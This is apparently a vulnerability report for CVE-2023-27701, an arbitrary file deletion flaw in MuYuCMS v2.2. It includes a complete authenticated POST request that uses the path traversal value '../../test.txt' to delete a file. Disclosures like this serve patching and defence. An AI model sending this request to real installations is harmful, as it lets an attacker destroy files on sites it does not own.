Headline
CVE-2023-27701: MuYucms sqldel.html has Arbitrary file deletion vulnerability · Issue #9 · MuYuCMS/MuYuCMS
MuYuCMS v2.2 was discovered to contain an arbitrary file deletion vulnerability via the component /database/sqldel.html.
Vulnerability exists in sqldel.html
1、 We put a txt file in the root of our website with the file name test.txt.
2、Constructing packets after logging into the backend
POST /admin.php/database/sqldel.html HTTP/1.1
Host: test.test
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://test.test
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://test.test/editor/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: muyu_checkaccre=1676601856; PHPSESSID=94241isj4cqrr0nefhv9rvs1b2;XDEBUG_SESSION=PHPSTORM
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
name=../../test.txt